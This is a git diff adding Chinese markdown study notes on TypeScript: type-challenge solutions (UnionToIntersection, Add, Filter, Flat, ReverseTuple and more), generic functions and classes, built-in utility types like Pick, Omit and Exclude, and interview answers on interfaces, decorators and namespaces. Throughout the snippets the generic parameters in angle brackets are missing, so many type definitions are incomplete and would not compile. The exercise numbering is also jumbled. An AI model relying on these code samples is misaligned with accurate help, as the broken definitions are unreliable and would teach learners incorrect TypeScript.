请实现`UnionToIntersection`用以从Union(或)得到Intersection(与/交)。 + + ```ts + type A = UnionToIntersection<{a: string} | {b: string} | {c: string}> + // {a: string} & {b: string} & {c: string} + ``` + + **答案:** + + ```typescript + type UnionToIntersection = + ( + U extends any + ? (x: U) => void + : never + ) extends ((x: infer I) => void) + ? I + : never + ``` + + 关于这是如何工作的可以参见[typescript - Transform union type to intersection type - Stack Overflow](https://stackoverflow.com/questions/50374908/transform-union-type-to-intersection-type) + +21. **实现 ToNumber\** + 请实现`ToNumber`用来转换字符串为整数。 + + ```ts + type A = ToNumber<'1'> // 1 + type B = ToNumber<'40'> // 40 + type C = ToNumber<'0'> // 0 + ``` + + **答案:** + + ```typescript + type ToNumber = + `${U['length']}` extends T + ? U['length'] + : ToNumber + ``` + +22. **实现 Add** + 实现`Add`计算正整数之和。 + + ```ts + type A = Add<1, 2> // 3 + type B = Add<0, 0> // 0 + ``` + + **答案:** + + ```typescript + type Tuple = U['length'] extends T ? U : Tuple + + type Add = [...Tuple, ...Tuple]['length'] + ``` + +23. **实现 SmallerThan** + + ```ts + type A = SmallerThan<0, 1> // true + type B = SmallerThan<1, 0> // false + type C = SmallerThan<10, 9> // false + ``` + + **答案:** + + ```typescript + type SmallerThan< + A extends number, + B extends number, + S extends number[] = [] + > = S['length'] extends B + ? false + : S['length'] extends A + ? true + : SmallerThan + ``` + +24. **实现 LargerThan** + + ```ts + type A = LargerThan<0, 1> // false + type B = LargerThan<1, 0> // true + type C = LargerThan<10, 9> // true + ``` + + **答案:** + + ```typescript + type LargerThan = + S['length'] extends A + ? false + : S['length'] extends B + ? true + : LargerThan + ``` + + 继续推进数组,直到它到达其中一个数字,到达的第一个数字就是较小的 + +25. **实现 Filter** + 实现`Filter`,返回T中能够assign给A的type所组成的新tuple。 + + ```ts + type A = Filter<[1,'BFE', 2, true, 'dev'], number> // [1, 2] + type B = Filter<[1,'BFE', 2, true, 'dev'], string> // ['BFE', 'dev'] + type C = Filter<[1,'BFE', 2, any, 'dev'], string> // ['BFE', any, 'dev'] + ``` + + **答案:** + + ```typescript + type Filter = + T extends [infer F, ...infer O] + ? [F] extends [A] + ? Filter + : Filter + : R + ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 31-40.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 31-40.md" new file mode 100644 index 00000000..17fa2746 --- /dev/null +++ "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 31-40.md" @@ -0,0 +1,202 @@ +--- +date: 2022-12-07 +category: +- TypeScript +--- + +# BFE-TS TypeScript类型体操练习 Easy 31-40 + +题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! + +## 常用工具类型 + +31. **实现 Repeat** + + 返回一个进行重复复制操作的元组 + + ```ts + type A = Repeat // [number, number, number] + type B = Repeat // [string, string] + type C = Repeat<1, 1> // [1, 1] + type D = Repeat<0, 0> // [] + ``` + + **答案:** + + 思路与RepeatString差不多 + + ```typescript + type Repeat = R['length'] extends C ? R : Repeat + ``` + +17. **实现 TupleToString\** + + 通过将所有字符串连接成为新的字符串类型 + + ```ts + type A = TupleToString<['a']> // 'a' + type B = TupleToString<['B', 'F', 'E']> // 'BFE' + type C = TupleToString<[]> // '' + ``` + + **答案:** + + ```typescript + type TupleToString = T extends [infer F, ...infer R] ? F extends string ? `${F}${TupleToString}` : never : ""; + ``` + +18. **实现 RepeatString** + + 类似于`String.prototype.repeat()`,即对字符串的重复复制,注意C为0的情况 + + ```ts + type A = RepeatString<'a', 3> // 'aaa' + type B = RepeatString<'a', 0> // '' + ``` + + **答案:** + + 即递归直至A(作为最终字符串的长度达到C的数值) + + ```typescript + type RepeatString = A['length'] extends C + ? '' + : `${T}${RepeatString}`; + ``` + +19. **实现 Push** + + 类似数组Push操作,入栈 + + ```ts + type A = Push<[1,2,3], 4> // [1,2,3,4] + type B = Push<[1], 2> // [1, 2] + type C = Push<[], string> // [string] + ``` + + **答案:** + + ```typescript + type Push = [...T, I] + ``` + +20. **实现 IsAny\** + + ```ts + type A = IsAny // false + type B = IsAny // true + type C = IsAny // false + type D = IsAny // false + ``` + + **答案:** + + 按照any作为顶级类型理解,就是说any是任何类型的父类,`any` 类型可以赋值给除了 `never `之外的任意其他类型,但反过来不能把 `unknown` 赋值给除了 `any` 之外的任何其他类型,但其他类型都可以赋值给 `unknown`。 + + ```typescript + type IsAny = [unknown] extends [T] ? ([T] extends [string | number | symbol | boolean] ? true : false) : false + ``` + + > **补:Any与Unknown的区别** + > + > unknow类型只是一个Top Type,而any既是一个Top Type也是一个Bottom Type。正因为如此编辑器才不会对any进行类型检查。 + > + > 总的来说:使用unknow还能保持类型安全,使用any就默认放弃类型检查。所以any是一个危险的类型,它可以自由转换为其他类型,其他类型也可以自由转换为any类型,编译器不对该类型的实例进行类型检查。所以开发者有义务确保不会发生错误解释类型的情况。 + + 一行的解决方法: + + ```typescript + type IsAny = 0 extends 1&T ? true:false; + ``` + +21. **实现 Shift\** + + 类似数组Shift操作,去除元组第一个元素 + + ```ts + type A = Shift<[1,2,3]> // [2,3] + type B = Shift<[1]> // [] + type C = Shift<[]> // [] + ``` + + **答案:** + + ```typescript + type Shift = T extends [infer P, ...infer M] ? M : [] + ``` + +22. **实现 IsEmptyType\** + + 检查T是否为空对象,注意any视为非空 + + ```ts + type A = IsEmptyType // false + type B = IsEmptyType<{a: 3}> // false + type C = IsEmptyType<{}> // true + type D = IsEmptyType // false + type E = IsEmptyType // false + type F = IsEmptyType // false + ``` + + **答案:** + + ```typescript + type IsEmptyType = T extends Record ? [keyof T] extends [never] ? true: false: false + ``` + + 抑或是分别检测是否为简单非空对象和Any类型 + + ```typescript + type simpleObject = { [key: string]: string } + type IsAny = false extends (true & T) ? true : false; + type IsEmptyType = IsAny extends true ? false : {} extends T ? T extends simpleObject ? true : false :false + ``` + +23. **实现 Flat\** + + 即实现元组类型扁平化 + + ```ts + type A = Flat<[1,2,3]> // [1,2,3] + type B = Flat<[1,[2,3], [4,[5,[6]]]]> // [1,2,3,4,5,6] + type C = Flat<[]> // [] + ``` + + **答案:** + + ```typescript + type Flat = T extends [infer K, ...infer R] ? (K extends any[] ? [...Flat,...Flat] : [K,...Flat]) : T + ``` + +24. **实现 ReverseTuple\** + + 即实现对元组类型的翻转 + + ```ts + type A = ReverseTuple<[string, number, boolean]> // [boolean, number, string] + type B = ReverseTuple<[1,2,3]> // [3,2,1] + type C = ReverseTuple<[]> // [] + ``` + + **答案:** + + ```typescript + type ReverseTuple = + T extends [...infer L, infer R] ? [R, ...ReverseTuple]: [] + ``` + +25. **实现 UnwrapPromise\** + + 即展开Promise,返回resolved后的类型 + + ```ts + type A = UnwrapPromise> // string + type B = UnwrapPromise> // null + type C = UnwrapPromise // Error + ``` + + **答案:** + + ```typescript + type UnwrapPromise> = T extends Promise ? P :never + ``` diff --git "a/src/TypeScript/\345\207\275\346\225\260\346\263\233\345\236\213.md" "b/src/TypeScript/\345\207\275\346\225\260\346\263\233\345\236\213.md" new file mode 100644 index 00000000..3fabb347 --- /dev/null +++ "b/src/TypeScript/\345\207\275\346\225\260\346\263\233\345\236\213.md" @@ -0,0 +1,191 @@ +--- +date: 2022-08-17 +category: +- TypeScript +--- + +# 函数泛型 + +## 箭头函数泛型 + +直接以内嵌式书写的箭头函数泛型,以复用函数 + +```ts +const foo = (x: T): T => x; + +const foo = (x: T): T => x; + +const foo = >(x: T): T => x; + +const foo: (x: T) => T = x => x; + +const identity = (arg: T): T => { + console.log(arg); + return arg; +}; + +const renderAuthorize = (Authorized: T): ((currentAuthority: CurrentAuthorityType) => T) => ( + currentAuthority: CurrentAuthorityType, + ): T => { + return + }; +``` + +## 普通函数泛型 + +```ts +/** + * 获取数组中最小值 (T泛型通用) + * @param {T[]} arr + * @returns {T} + */ +function getMin(arr:T[]):T{ + var min=arr[0]; + arr.forEach((value)=>{ + if(value{ + arr:T[]=[]; + add(ele:T){ + this.arr.push(ele); + } + min():T{ + var min=this.arr[0]; + this.arr.forEach(function (value) { + if(value(); +gm1.add(5); +gm1.add(3); +gm1.add(2); +gm1.add(9); +console.log(gm1.min()); + +var gm2= new GetMin(); +gm2.add("tom"); +gm2.add("jerry"); +gm2.add("jack"); +gm2.add("sunny"); +console.log(gm2.min()); +``` + +### 泛型函数接口 + +```ts +interface ConfigFn{ + (value:T):T; +} + +const getData:Confign=function(value:T):T{ + return value; +} +getData('张三'); +// getData(1243); //错误 + + +// 类似 Map Param 接口 +interface Param{ + [index:string]:any +} +``` + +## 泛型类接口 + +```ts +/** + * page分页对象 + */ +class Page{ + private currentPage:number=1; //当前页码 默认1 + private pageSize:number=10;//每页条数 默认为10 + private sortName:string; //排序字段 + private sortOrder:string="asc"; // 排序规则 asc | desc 默认为asc正序 + + + constructor(param:Param){ + if(param["currentPage"]){ + this.currentPage=param["currentPage"]; + } + if(param["pageSize"]){ + this.pageSize=param["pageSize"]; + } + if(param["sortName"]){ + this.sortName=param["sortName"]; + } + if(param["sortOrder"]){ + this.sortOrder=param["sortOrder"]; + } + } + + public getStartNum():number{ + return (this.currentPage-1)*this.pageSize; + } +} + + +class User{ + id:number;//id主键自增 + name:string;//姓名 + sex:number;//性别 1男 2女 + age:number;//年龄 + city:string;//城市 + describe:string;//描述 +} +``` + +## 泛型接口 + +```ts +interface BaseDao { + findById(id:number):T;//根据主键id查询一个实体 + findPageList(param:Param,page:Page):T[];//查询分页列表 + findPageCount(param:Param):number;//查询分页count + save(o:T):void;//保存一个实体 + update(o:T):void;//更新一个实体 + deleteById(id:number);//删除一个实体 +} +``` + +## 接口实现类 + +```ts +class UserDao implements BaseDao{ + findById(id:number):User{ + + return null; + } + findPageList(param:Param,page:Page):User[]{ + return []; + } + findPageCount(param:Param):number{ + return 0; + } + save(o:User):void{ + + } + update(o:User):void{ + + } + deleteById(id:number){ + + } +} +``` + diff --git "a/src/TypeScript/\345\267\245\345\205\267\347\261\273\345\236\213.md" "b/src/TypeScript/\345\267\245\345\205\267\347\261\273\345\236\213.md" new file mode 100644 index 00000000..be88dbd9 --- /dev/null +++ "b/src/TypeScript/\345\267\245\345\205\267\347\261\273\345\236\213.md" @@ -0,0 +1,191 @@ +--- +date: 2022-08-17 +category: +- TypeScript +--- + +# TypeScript 工具类型 + +## 工具类型的分类 + +- **属性修饰工具类型。**对属性的修饰,包括对象属性和数组元素的可选/必选、只读/可写。 +- **结构工具类型**。对既有类型的裁剪、拼接、转换等,比如使用对一个对象类型裁剪得到一个新的对象类型,将联合类型结构转换到交叉类型结构。 +- **集合工具类型**。对集合(即联合类型)的处理,即交集、并集、差集、补集。 +- **模式匹配工具类型**。基于 infer 的模式匹配,即对一个既有类型特定位置类型的提取,比如提取函数类型签名中的返回值类型。 +- **模板字符串工具类**。模板字符串专属的工具类型,比如神奇地将一个对象类型中的所有属性名转换为大驼峰的形式。 + +## 属性修饰工具类型 + +这一部分的工具类型主要使用**属性修饰**、**映射类型**与**索引类型**相关(索引类型签名、索引类型访问、索引类型查询均有使用,因此这里直接用索引类型指代)。 + +### Partial, Required, Readonly + +Partial 与 Required 可以认为是一对工具类型,它们的功能是相反的,而在实现上,它们的唯一差异是在索引类型签名处的可选修饰符,Partial 是 `?`,即标记属性为可选,而 Required 则是 `-?`,相当于在原本属性上如果有 `?` 这个标记,则移除它。 + +```ts +type Partial = { + [P in keyof T]?: T[P]; + // [P in keyof T]+?: T[P]; +}; + +type Required = { + [P in keyof T]-?: T[P]; +}; + +type Readonly = { + readonly [P in keyof T]: T[P]; +}; +``` + +## 结构工具类型 + +这一部分的工具类型主要使用**条件类型**以及**映射类型**、**索引类型**。 + +结构工具类型其实又可以分为两类,**结构声明**和**结构处理**。 + +### Record 记录 + +```ts +type Record = { + [P in K]: T; +}; +``` + +其中,`K extends keyof any` 即为键的类型,这里使用 `extends keyof any` 标明,传入的 K 可以是单个类型,也可以是联合类型,而 T 即为属性的类型。 + +```ts +// 键名均为字符串,键值类型未知 +type Record1 = Record; +// 键名均为字符串,键值类型任意 +type Record2 = Record; +// 键名为字符串或数字,键值类型任意 +type Record3 = Record; +``` + +日常常用`Record` 和 `Record`来代替Object + +### 结构处理 Pick、Omit + +**Pick** + +```ts +type Pick = { + [P in K]: T[P]; +}; + +type Omit = Pick>; +``` + +Pick接受两个泛型参数,T 即是我们会进行结构处理的原类型(一般是对象类型),而 K 则被约束为 T 类型的键名联合类型。由于泛型约束是立即填充推导的,即你为第一个泛型参数传入 Foo 类型以后,K 的约束条件会立刻被填充。 + +```ts +interface Foo { + name: string; + age: number; + job: JobUnionType; +} + +type PickedFoo = Pick +``` + +等价于 + +```ts +type Pick = { + [P in "name" | "age"]: T[P]; +}; +``` + +联合类型的成员会被依次映射,并通过索引类型访问来获取到它们原本的类型。 + +**Omit** + +而对于 Omit 类型,看名字其实能 get 到它就是 Pick 的反向实现:**Pick 是保留这些传入的键**,比如从一个庞大的结构中**选择少数字段保留**,需要的是这些少数字段,而 **Omit 则是移除这些传入的键**,也就是从一个庞大的结构中**剔除少数字段**,需要的是剩余的多数部分。 + +```ts +type Omit = Pick>; +``` + +Omit 是基于 Pick 实现的,这也是 TypeScript 中成对工具类型的另一种实现方式。上面的 Partial 与 Required 使用类似的结构,**在关键位置使用一个相反操作来实现反向**,而这里的 Omit 类型则是基于 Pick 类型实现,也就是**反向工具类型基于正向工具类型实现**,`Exclude` 其实就是 T 的键名联合类型中剔除了 K 的部分。 + +## 集合工具类型 + +**集合概念:** + +- **并集**,两个集合的合并,合并时重复的元素只会保留一份(这也是联合类型的表现行为)。 +- **交集**,两个集合的相交部分,即同时存在于这两个集合内的元素组成的集合。 +- **差集**,对于 A、B 两个集合来说,A 相对于 B 的差集即为 **A 中独有而 B 中不存在的元素** 的组成的集合,或者说 **A 中剔除了 B 中也存在的元素以后剩下的部分**。 +- **补集**,补集是差集的特殊情况,此时**集合 B 为集合 A 的子集**,在这种情况下 **A 相对于 B 的补集** + **B** = **完整的集合 A**。 + +### **Extract** 交集与**Exclude** 差集 + +内置工具类型中提供了交集与差集的实现: + +```ts +type Extract = T extends U ? T : never; + +type Exclude = T extends U ? never : T; +``` + +这里的具体实现其实就是条件类型的分布式特性,即当 T、U 都是联合类型(视为一个集合)时,T 的成员会依次被拿出来进行 `extends U ? T1 : T2 `的计算,然后将最终的结果再合并成联合类型。 + +**Extract 交集运行逻辑** + +```ts +type AExtractB = Extract<1 | 2 | 3, 1 | 2 | 4>; // 1 | 2 + +type _AExtractB = + | (1 extends 1 | 2 | 4 ? 1 : never) // 1 + | (2 extends 1 | 2 | 4 ? 2 : never) // 2 + | (3 extends 1 | 2 | 4 ? 3 : never); // never +``` + +**Exclude 差集运行逻辑** + +```ts +type SetA = 1 | 2 | 3 | 5; + +type SetB = 0 | 1 | 2 | 4; + +type AExcludeB = Exclude; // 3 | 5 +type BExcludeA = Exclude; // 0 | 4 + +type _AExcludeB = + | (1 extends 0 | 1 | 2 | 4 ? never : 1) // never + | (2 extends 0 | 1 | 2 | 4 ? never : 2) // never + | (3 extends 0 | 1 | 2 | 4 ? never : 3) // 3 + | (5 extends 0 | 1 | 2 | 4 ? never : 5); // 5 + +type _BExcludeA = + | (0 extends 1 | 2 | 3 | 5 ? never : 0) // 0 + | (1 extends 1 | 2 | 3 | 5 ? never : 1) // never + | (2 extends 1 | 2 | 3 | 5 ? never : 2) // never + | (4 extends 1 | 2 | 3 | 5 ? never : 4); // 4 +``` + +由差集和交集的实现,我们可以对其他集合关系进行实现(非内置工具类型): + +```ts +// 并集 +export type Concurrence = A | B; + +// 交集 +export type Intersection = A extends B ? A : never; + +// 差集 +export type Difference = A extends B ? never : A; + +// 补集 +export type Complement = Difference; +``` + +## 模式匹配工具类型 + +这一部分的工具类型主要使用**条件类型**与 **infer 关键字**。 + +在条件类型一节中我们已经差不多了解了 infer 关键字的使用,而更严格地说 infer 其实代表了一种 **模式匹配(pattern matching)** 的思路,如正则表达式、Glob 中等都体现了这一概念。 + +https://jishuin.proginn.com/p/763bfbd7299f + +https://juejin.cn/post/7045536402112512007 + diff --git "a/src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript \351\235\242\350\257\225\344\270\223\351\242\230.md" "b/src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript \351\235\242\350\257\225\344\270\223\351\242\230.md" new file mode 100644 index 00000000..019e1749 --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript \351\235\242\350\257\225\344\270\223\351\242\230.md" @@ -0,0 +1,1218 @@ +--- +date: 2022-08-28 +category: +- 面试题 +- 前端 +- TypeScript +--- + +# TypeScript 面试专题 + +## interface 与 type 异同点 + +这可能是最经典的一道 TS 面试题了,因此这里我们放在第一个知识点来讲解。 + +### 及格线 + +不论如何,以下这些概念是你需要基本了解的,否则很容易被怀疑是否真的深入使用过 TypeScript 。 + +- 在对象扩展情况下,interface 使用 extends 关键字,而 type 使用交叉类型(`&`)。 +- 同名的 interface 会自动合并,并且在合并时会要求兼容原接口的结构。 +- interface 与 type 都可以描述对象类型、函数类型、Class 类型,但 interface 无法像 type 那样表达元组、一组联合类型等等。 +- interface 无法使用映射类型等类型工具,也就意味着在类型编程场景中我们还是应该使用 type 。 + +### 优秀回答 + +只是回答这些概念定义显得过于枯燥,而且很容易被认为像是在背书,因此你可以穿插自己在工程中的实践, 比如小册中提过的,使用 interface 来定义对象类型,使用类型别名来处理函数签名、联合类型、工具类型等等。这同样也代表了你对这两个工具的理解:**interface 就是描述对象对外暴露的接口,其不应该具有过于复杂的类型逻辑,最多局限于泛型约束与索引类型这个层面。而 type alias 就是用于将一组类型的重命名,或是对类型进行复杂编程。** + +另外,你也可以提到在官方的 Wiki 中,特别说明了在对象扩展的情况下,使用接口继承要比交叉类型的性能更好。 + +## 类型兼容性比较 + +这一问题主要考察你是否了解 TypeScript 类型系统的基本工作原理,以及使用的深入程度。因为通常来说,只有具有一定经验的使用者才会开始了解类型兼容性的相关规则,而了解这部分规则也就意味着你至少能够独立解决相当一部分类型报错。 + +### 及格线 + +TypeScript 使用鸭子类型,也即结构化类型系统进行类型兼容性的比较,即对于两个属性完全一致的类型,就认为它们属于同一种类型。而对于 A 类型、A + B 类型,认为后者属于前者的子类型。另外 TypeScript 类型中还存在着一部分特殊的规则,如 object、{} 以及 Top Type 等。 + +### 优秀回答 + +能回答出上面这些内容已经不错了,但你可是阅读完了这本小册的同学,怎么能轻易止步。如果想进一步升华回答,还可以从以下方面进行扩展。 + +- **结构化类型系统到标称类型系统**,你可以表达你不仅了解结构化类型系统,还了解与其可以作为对比的标称类型系统,包括存在意义与比较方式,以及如何在 TS 中实现标称类型系统。 +- **类型层级**,类型兼容性的比较本质上其实也就是在类型层级中进行比较,一个类型能够兼容其子类型,就这么回事,因此,不妨扩展地讲一讲 TS 的类型层级是怎么样的。 + +## any、unknown 与 never + +这一部分主要考察你对内置 Top Type、Bottom Type 的理解,属于相对少见的考察,因此通常也不会要求过高。 + +### 及格线 + +具体内容已经在小册中详细描述,这里只做简单叙述。any 与 unknown 在 TypeScript 类型层级中属于最顶层的 Top Type,也就意味所有类型都是它俩的子类型。而 never 则相反,作为 Bottom Type 的它是所有类型的子类型。 + +### 优秀回答 + +面试的重要原则之一就是 WHY,在回答一个知识点的同时,如果能把这个知识点背后的存在原因也讲述清楚,很难不让面试官暗暗点头为你折服,因此你可以考虑从以下这么几个角度出发来进行扩展。 + +- **为什么需要 Top Type 与 Bottom Type ?** 在实际开发中,我们不可能确保对所有地方的类型都进行精确的描述,因此就需要 Top Type 来表示一个包含任意类型的类型。而在类型编程中,如果对两个不存在交集的类型强行进行交集运算,也需要一个类型表示这个不存在的类型。这就是 Top Type 与 Bottom Type 的存在意义。 +- **类型层级**,Top 与 Bottom 本身就是在描述它们在类型层级中的位置,因此,如果你能给面试官讲一遍从 Bottom 向上到 Top 的类型链,我觉得起码在 TypeScript 这个技能点上你已经基本得到肯定了。 +- **条件类型**,Top Type 与 Bottom Type 带来的底层规则还不止表现在类型兼容性方面,在条件类型中同样存在对它们的特殊逻辑,请回想 any 与 never 在条件类型中的表现。 + +## 工具类型实现 + +这一部分有可能需要你进行手写,但对于完成了整本小册阅读的你来说,肯定不是难事,这一部分就不做过多叙述了。 + +### 及格线 + +比较简单的工具类型手写可能包括 Partial(Require)、Pick(Omit)、ReturnType(ParameterType),小册中均已介绍了相关实现与原理,这里就不再赘述。 + +### 优秀回答 + +在完成手写的基础上,其实你也可以主动进行扩展。 + +- 我不仅能写出这些基础实现,还能写出其在实际应用场景中的增强版,比如 DeepPartial 与 MarkAsPartial,PickByType 与 PickByStrictType 等等。 +- 我不仅了解这些工具类型的实现,还了解它们可以被归纳为访问性修饰工具类型、结构处理工具类型、集合工具类型与模式匹配工具类型等等,同时对它们实现过程中使用到的类型工具也有较为深入的了解。 + +## 场景题题问: + +[参考场景题](https://vue3js.cn/interview/typescript/typescript_javascript.html#%E4%BA%8C%E3%80%81%E7%89%B9%E6%80%A7) + +### Typescript 的数据类型有哪些? + +`typescript` 的数据类型主要有如下: + +- boolean(布尔类型) +- number(数字类型) +- string(字符串类型) +- array(数组类型) +- tuple(元组类型) +- enum(枚举类型) +- any(任意类型) +- null 和 undefined 类型 +- void 类型 +- never 类型 +- object 对象类型 + +### TypeScript 中函数的理解?与 JavaScript 函数的区别? + +函数是`JavaScript` 应用程序的基础,帮助我们实现抽象层、模拟类、信息隐藏和模块 + +在`TypeScript` 里,虽然已经支持类、命名空间和模块,但函数仍然是主要定义行为的方式,`TypeScript` 为 `JavaScript` 函数添加了额外的功能,丰富了更多的应用场景 + +### 对 TypeScript 中泛型的理解?应用场景? + +泛型程序设计(generic programming)是程序设计语言的一种风格或范式 + +泛型允许我们在强类型程序设计语言中编写代码时使用一些以后才指定的类型,在实例化时作为参数指明这些类型。 + +在`typescript`中,定义函数,接口或者类的时候,不预先定义好具体的类型,而在使用的时候在指定类型的一种特性。 + +### 对 TypeScript 中高级类型的理解?有哪些? + +除了`string`、`number`、`boolean` 这种基础类型外,在 `typescript` 类型声明中还存在一些高级的类型应用 + +这些高级类型,是`typescript`为了保证语言的灵活性,所使用的一些语言特性。这些特性有助于我们应对复杂多变的开发场景 + +### 有哪些? + +- 交叉类型 + + ```ts + T & U + ``` + +- 联合类型 + + ```ts + T | U + ``` + +- 类型别名 + + type:类型别名会给一个类型起个新名字,类型别名有时和接口很像,但是可以作用于原始值、联合类型、元组以及其它任何你需要手写的类型 + + 可以使用类型别名来在属性里引用自己(也可以是泛型): + + ```ts + type Tree = { + value: T; + left: Tree; + right: Tree; + } + ``` + +- 类型索引 + + `keyof` 类似于 `Object.keys` ,用于获取一个接口中 Key 结果作为联合类型返回。 + +- 类型约束 + + 通过关键字 `extend` 进行约束,不同于在 `class` 后使用 `extends` 的继承作用,泛型内使用的主要作用是对泛型加以约束(表示该泛型是xxx的子类) + +- 映射类型 + + 通过 `in` 关键字做类型的映射,遍历已有接口的 `key` 或者是遍历联合类型,如下例子: + + ```ts + type Readonly = { + readonly [P in keyof T]: T[P]; + }; + + interface Obj { + a: string + b: string + } + + type ReadOnlyObj = Readonly + ``` + + 最终`ReadOnlyObj`的接口为下述: + + ```ts + interface ReadOnlyObj { + readonly a: string; + readonly b: string; + } + ``` + +- 条件类型 + + 条件类型的语法规则和三元表达式一致,经常用于一些类型不确定的情况。 + + ```ts + T extends U ? X : Y + ``` + + 上面的意思就是,如果 T 是 U 的子集,就是类型 X,否则为类型 Y + +### 对 TypeScript 装饰器@的理解?应用场景? + +> 装饰器是一种包装代码的简单方法,它也是一种设计模式,能够扩展包装代码的功能而不修改它。 +> +> 尽管装饰器在 TypeScript 和 Python 等语言中被广泛使用,但是 JavaScript 装饰器的支持仍处于第 2 阶段提案中。但是,我们可以借助 Babel 和 TypeScript 编译器使用 JavaScript 装饰器。 + +装饰器是一种特殊类型的声明,它能够被附加到类声明,方法, 访问符,属性或参数上 + +是一种在不改变原类和使用继承的情况下,动态地扩展对象功能 + +同样的,本质也不是什么高大上的结构,就是一个普通的函数,`@expression` 的形式其实是`Object.defineProperty`的语法糖 + +`expression`求值后必须也是一个函数,它会在运行时被调用,被装饰的声明信息做为参数传入 + +#### 使用方式 + +由于`typescript`是一个实验性特性,若要使用,需要在`tsconfig.json`文件启动,如下: + +```ts +{ + "compilerOptions": { + "target": "ES5", + "experimentalDecorators": true + } +} +``` + +`typescript`装饰器的使用和`javascript`基本一致 + +类的装饰器可以装饰: + +#### 类装饰 + +> 接收参数:构造器函数 + +例如声明一个函数 `addAge` 去给 Class 的属性 `age` 添加年龄 + +```ts +function addAge(constructor: Function) { + constructor.prototype.age = 18; +} + +@addAge +class Person{ + name: string; + age!: number; + constructor() { + this.name = 'huihui'; + } +} + +let person = new Person(); + +console.log(person.age); // 18 +``` + +上述代码,实际等同于以下形式: + +```ts +Person = addAge(function Person() { ... }); +``` + +上述可以看到,当装饰器作为修饰类的时候,会把构造器传递进去。 `constructor.prototype.age` 就是在每一个实例化对象上面添加一个 `age` 属性 + +#### 方法/属性装饰 + +> target:对象的原型 +> propertyKey:方法的名称 +> descriptor:方法的属性描述符 + +可以看到,这三个属性实际就是`Object.defineProperty`的三个参数,如果是类的属性,则没有传递第三个参数 + +如下例子: + +```ts +// 声明装饰器修饰方法/属性 +function method(target: any, propertyKey: string, descriptor: PropertyDescriptor) { + console.log(target); + console.log("prop " + propertyKey); + console.log("desc " + JSON.stringify(descriptor) + "\n\n"); + descriptor.writable = false; +}; + +function property(target: any, propertyKey: string) { + console.log("target", target) + console.log("propertyKey", propertyKey) +} + +class Person{ + @property + name: string; + constructor() { + this.name = 'huihui'; + } + + @method + say(){ + return 'instance method'; + } + + @method + static run(){ + return 'static method'; + } +} + +const xmz = new Person(); + +// 修改实例方法say +xmz.say = function() { + return 'edit' +} +``` + +#### 参数装饰 + +> target :当前对象的原型 +> propertyKey :参数的名称 +> index:参数数组中的位置 + +```ts +function logParameter(target: Object, propertyName: string, index: number) { + console.log(target); + console.log(propertyName); + console.log(index); +} + +class Employee { + greet(@logParameter message: string): string { + return `hello ${message}`; + } +} +const emp = new Employee(); +emp.greet('hello'); +``` + +#### 访问器装饰 + +> 使用起来方式与方法装饰一致,如下: + +```ts +function modification(target: Object, propertyKey: string, descriptor: PropertyDescriptor) { + console.log(target); + console.log("prop " + propertyKey); + console.log("desc " + JSON.stringify(descriptor) + "\n\n"); +}; + +class Person{ + _name: string; + constructor() { + this._name = 'huihui'; + } + + @modification + get name() { + return this._name + } +} +``` + +#### 装饰器工厂 + +如果想要传递参数,使装饰器变成类似工厂函数,只需要在装饰器函数内部再构造一个函数即可,如下: + +```ts +function addAge(age: number) { + return function(constructor: Function) { + constructor.prototype.age = age + } +} + +@addAge(10) +class Person{ + name: string; + age!: number; + constructor() { + this.name = 'huihui'; + } +} + +let person = new Person(); +``` + +#### 执行顺序 + +当多个装饰器应用于一个声明上,将由上至下依次对装饰器表达式求值,求值的结果会被当作函数,由下至上依次调用,例如如下: + +```ts +function f() { + console.log("f(): evaluated"); + return function (target, propertyKey: string, descriptor: PropertyDescriptor) { + console.log("f(): called"); + } +} + +function g() { + console.log("g(): evaluated"); + return function (target, propertyKey: string, descriptor: PropertyDescriptor) { + console.log("g(): called"); + } +} + +class C { + @f() + @g() + method() {} +} + +// 输出 +f(): evaluated +g(): evaluated +g(): called +f(): called +``` + +**总结** + +可以看到,使用装饰器存在两个显著的优点: + +- 代码可读性变强了,装饰器命名相当于一个注释 +- 在不改变原有代码情况下,对原来功能进行扩展 + +后面的使用场景中,借助装饰器的特性,除了提高可读性之后,针对已经存在的类,可以通过装饰器的特性,在不改变原有代码情况下,对原来功能进行扩展 + +### 对 TypeScript 中命名空间与模块的理解?区别? + +`TypeScript` 与`ECMAScript` 2015 一样,任何包含顶级 `import` 或者 `export` 的文件都被当成一个模块 + +相反地,如果一个文件不带有顶级的`import`或者`export`声明,那么它的内容被视为全局可见的 + +其他模块特性与ES6无异 + +#### 命名空间 namespace + +命名空间一个最明确的目的就是解决重名问题 + +命名空间定义了标识符的可见范围,一个标识符可在多个名字空间中定义,它在不同名字空间中的含义是互不相干的 + +这样,在一个新的名字空间中可定义任何标识符,它们不会与任何已有的标识符发生冲突,因为已有的定义都处于其他名字空间中 + +`TypeScript` 中命名空间使用 `namespace` 来定义,语法格式如下: + +```ts +namespace SomeNameSpaceName { + export interface ISomeInterfaceName { } + export class SomeClassName { } +} +``` + +以上定义了一个命名空间 `SomeNameSpaceName`,如果我们需要在外部可以调用 `SomeNameSpaceName` 中的类和接口,则需要在类和接口添加 `export` 关键字 + +使用方式如下: + +```ts +SomeNameSpaceName.SomeClassName +``` + +**命名空间本质上是一个对象,作用是将一系列相关的全局变量组织到一个对象的属性,**如下: + +```ts +namespace Letter { + export let a = 1; + export let b = 2; + export let c = 3; + // ... + export let z = 26; +} +``` + +编译成`js`如下: + +```js +var Letter; +(function (Letter) { + Letter.a = 1; + Letter.b = 2; + Letter.c = 3; + // ... + Letter.z = 26; +})(Letter || (Letter = {})); +``` + +#### 区别 + +- 命名空间是位于全局命名空间下的一个普通的带有名字的 JavaScript 对象,使用起来十分容易。但就像其它的全局命名空间污染一样,它很难去识别组件之间的依赖关系,尤其是在大型的应用中 +- 